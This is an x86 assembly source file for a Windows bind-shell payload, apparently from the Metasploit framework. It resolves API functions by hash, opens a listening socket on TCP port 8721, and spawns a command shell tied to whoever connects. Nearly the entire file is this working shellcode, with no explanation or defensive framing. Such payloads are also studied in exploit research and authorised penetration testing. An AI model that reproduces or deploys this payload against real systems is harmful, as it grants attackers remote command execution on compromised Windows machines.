;      Title:  Win32 Bind Shell;  Platforms:  Windows NT 4.0, Windows 2000, Windows XP, Windows 2003;   Function:  Listen for connection and spawn command shell;     Author:  hdm[at]metasploit.com; Compile: nasm -f bin -o win32_bind.bin win32_bind.asm[BITS 32]global _start_start:LCaller:    call LLoadFunctionsLDataSegment:;========================dd "CMD"dd 0x79c679e7 ; closesocket             12dd 0x498649e5 ; accept                  16dd 0xe92eada4 ; listen                  20dd 0xc7701aa4 ; bind                    24dd 0xadf509d9 ; WSASocketA              28dd 0x3bfcedcb ; WSAStartup              32dd 0xec0e4e8e ; LoadLibraryA            36dd 0x60e0ceef ; ExitThread              40dd 0xce05d9ad ; WaitForSingleObject     44dd 0x16b3fe72 ; CreateProcessA          48db "WS2_32.DLL", 0x00, 0x01;========================LLoadFunctions:	    pop ebx      push esp	mov ebp, esp     mov [ebp], ebxLKernel32Base:    push byte 0x30    pop ecx    mov eax, [fs:ecx]	mov eax, [eax + 0x0c] 	mov esi, [eax + 0x1c] 	lodsd				  	mov ebx, [eax + 0x08]     jmp short LStartLoadingLLoadWinsock:    lea edx, [edi + 44] ; get address of ws2_32.dll    push ecx            ; save counter    push edx            ; push address of ws2_32.dll	call eax            ; LoadLibraryA()    mov ebx, eax        ; save module handle     pop ecx             ; restore counter    jmp short Looper2    LStartLoading:    ; Start loading addresses at ebp + 12    push byte 0x08    pop esi    add esi, ebp     ; Function counter    push byte 0x0a    pop ecx    mov edi, [ebp]    Looper:    cmp cl, 0x06    je short LLoadWinsockLooper2:        push ecx                    ; save the counter    push ebx                    ; dll handle    push dword [edi + ecx*4]    ; function hash value    call LGetProcAddress        ; find the address    pop ecx                     ; restore the counter    mov [esi + ecx * 4], eax    ; stack segment to store addresses    loop Looper	xor edi, ediLWSAStartup:	; WSAStartup(0x101, DATA)     sub sp, 400	push esp	push 0x101	call [ebp + 32]LWSASocketA:	; WSASocketA(2,1,0,0,0,0) 	push edi	push edi	push edi	push edi	inc edi	push edi	inc edi	push edi	call [ebp + 28]	mov ebx, eax                ; save socket to ebx    xor edi, edi    LBind:	push edi	push edi	push dword 0x11220002 ; port 8721	mov esi, esp	push byte 0x10        ; length	push esi	push ebx	call [ebp + 24]LListen:	push edi	push ebx	call [ebp + 20]LAccept:	push edi	push esi	push ebx	call [ebp + 16]	mov edx, eaxLCreateProcessStructs:	; allocate space for STARTUPINFO, PROCESS_INFORMATION 	sub sp, 0x54	; zero out SI/PI 	lea edi, [esp]	xor eax, eax    push byte 21    pop ecx    LBZero:	rep stosd        mov edi, edx	mov byte [esp + 16], 68	 ; si.cb = sizeof(si) 	inc byte [esp + 61]		 ; si.dwFlags = 0x100 	; socket handles 	mov [esp + 16 + 56], edi	mov [esp + 16 + 60], edi	mov [esp + 16 + 64], edi	lea eax, [esp + 16]	; si 	push esp			; pi 	push eax	push ecx	push ecx	push ecx        inc ecx	push ecx    dec ecx    	push ecx	push ecx	push dword [ebp]	push ecxLCreateProcess:	call [ebp + 48]	mov ecx, esp    LWaitForSingleObject:    push 0xFFFFFFFF    push dword [ecx]    call [ebp + 44]LCloseSocket:    push edi    call [ebp + 12]LFinished:    call [ebp + 40]  LGetProcAddress:	push ebx	push ebp	push esi	push edi	mov ebp, [esp + 24]				mov eax, [ebp + 0x3c]			mov edx, [ebp + eax + 120]	add edx, ebp					mov ecx, [edx + 24]				mov ebx, [edx + 32]	add ebx, ebpLFnlp:	jecxz	LNtfnd	dec ecx	mov esi, [ebx + ecx * 4]	add esi, ebp					xor edi, edi	cldLHshlp:	xor eax, eax	lodsb	cmp al, ah	je LFnd	ror edi, 13	add edi, eax	jmp short LHshlpLFnd:		cmp edi, [esp + 20]	jnz LFnlp	mov ebx, [edx + 36]				add ebx, ebp	mov cx, [ebx + 2 * ecx]			mov ebx, [edx + 28]				add ebx, ebp	mov eax, [ebx + 4 * ecx]		add eax, ebp	jmp short LDoneLNtfnd:	xor eax, eaxLDone:	mov edx, ebp	pop edi	pop esi	pop ebp	pop ebx	ret 8